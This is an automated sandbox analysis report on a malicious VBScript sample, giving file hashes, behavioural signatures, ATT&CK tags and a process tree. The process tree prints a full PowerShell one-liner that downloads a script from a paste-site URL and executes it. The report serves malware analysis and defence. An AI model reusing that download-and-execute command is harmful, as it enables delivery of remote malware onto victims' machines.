fcd18b069a963b01f447b35ac7f12421ac36f8c577a1f19880ea0258e0505747

Resubmissions

15/04/2022, 01:59

220415-cefc7sbff3 10

14/04/2022, 17:03

220414-vknwmsdchl 10

Analysis

max time kernel
4294180s
max time network
122s
platform
windows7_x64
resource
win7-20220311-en
submitted
14/04/2022, 17:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

Report Details.vbs
Size

57KB
MD5

52d94e55aac61768976f39040c288eef
SHA1

e942fa64351f106b614b28e86d3a42d50e5a0443
SHA256

fcd18b069a963b01f447b35ac7f12421ac36f8c577a1f19880ea0258e0505747
SHA512

fe278c9483992b979e356ec4380182d7519d47144cf3ed9c9caaf0346c4bcb788272562f57264ac7a3a35bf67e9e36ac19ec5d5a07d9564a99360de77b72b717

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://textbin.net/raw/x6lfwhnyrz

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	1096	powershell.exe
6	1096	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1096	powershell.exe
1912	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1096	powershell.exe
Token: SeDebugPrivilege	1912	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1616 wrote to memory of 1096	1616	WScript.exe	27
PID 1616 wrote to memory of 1096	1616	WScript.exe	27
PID 1616 wrote to memory of 1096	1616	WScript.exe	27
PID 1096 wrote to memory of 1912	1096	powershell.exe	29
PID 1096 wrote to memory of 1912	1096	powershell.exe	29
PID 1096 wrote to memory of 1912	1096	powershell.exe	29

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Report Details.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy RemoteSigned -Command [System.Net.WebClient] $Client = New-Object System.Net.WebClient; [Byte[]] $DownloadedData = $Client.DownloadData('https://textbin.net/raw/x6lfwhnyrz'); [String] $ByteToString = [System.Text.UTF8Encoding]::UTF8.GetString($DownloadedData); [System.IO.File]::WriteAllText('C:\Users\Public\x6lfwhnyrz.PS1', $ByteToString, [System.Text.Encoding]::UTF8); Invoke-Expression 'PowerShell -ExecutionPolicy RemoteSigned -File C:\Users\Public\x6lfwhnyrz.PS1'
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1096
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy RemoteSigned -File C:\Users\Public\x6lfwhnyrz.PS1
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1912

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
b0e7a5dc6a3135ee1846be1d9a6df610

SHA1
eb1c014689a97e375d1685cf96fadd1b7522bd5b

SHA256
3ad3d276b43352a48f18e42c88325586ecf201158364725bb7dac444d20e3851

SHA512
bffa8b72d7354c7f40a3b58a5797d7902dcc5492ee7ba76f4fe2f6e72462c83c67aa58638dc15c1229cf10767f513041e8aaf5847fe8e3ca11864f8421c6fdd9

Download Submit
C:\Users\Public\x6lfwhnyrz.PS1

Filesize
3B

MD5
ecaa88f7fa0bf610a5a26cf545dcd3aa

SHA1
57218c316b6921e2cd61027a2387edc31a2d9471

SHA256
f1945cd6c19e56b3c1c78943ef5ec18116907a4ca1efc40a57d48ab1db7adfc5

SHA512
37c783b80b1d458b89e712c2dfe2777050eff0aefc9f6d8beedee77807d9aeb2e27d14815cf4f0229b1d36c186bb5f2b5ef55e632b108cc41e9fb964c39b42a5

Download Submit
memory/1096-61-0x000000000270B000-0x000000000272A000-memory.dmp

Filesize
124KB

Download
memory/1096-59-0x0000000002702000-0x0000000002704000-memory.dmp

Filesize
8KB

Download
memory/1096-58-0x0000000002700000-0x0000000002702000-memory.dmp

Filesize
8KB

Download
memory/1096-57-0x000007FEF2D70000-0x000007FEF38CD000-memory.dmp

Filesize
11.4MB

Download
memory/1096-60-0x0000000002704000-0x0000000002707000-memory.dmp

Filesize
12KB

Download
memory/1616-54-0x000007FEFBCC1000-0x000007FEFBCC3000-memory.dmp

Filesize
8KB

Download
memory/1912-65-0x000007FEF2D70000-0x000007FEF38CD000-memory.dmp

Filesize
11.4MB

Download
memory/1912-66-0x0000000002410000-0x0000000002412000-memory.dmp

Filesize
8KB

Download
memory/1912-67-0x0000000002412000-0x0000000002414000-memory.dmp

Filesize
8KB

Download
memory/1912-68-0x0000000002414000-0x0000000002417000-memory.dmp

Filesize
12KB

Download
memory/1912-70-0x000000000241B000-0x000000000243A000-memory.dmp

Filesize
124KB

Download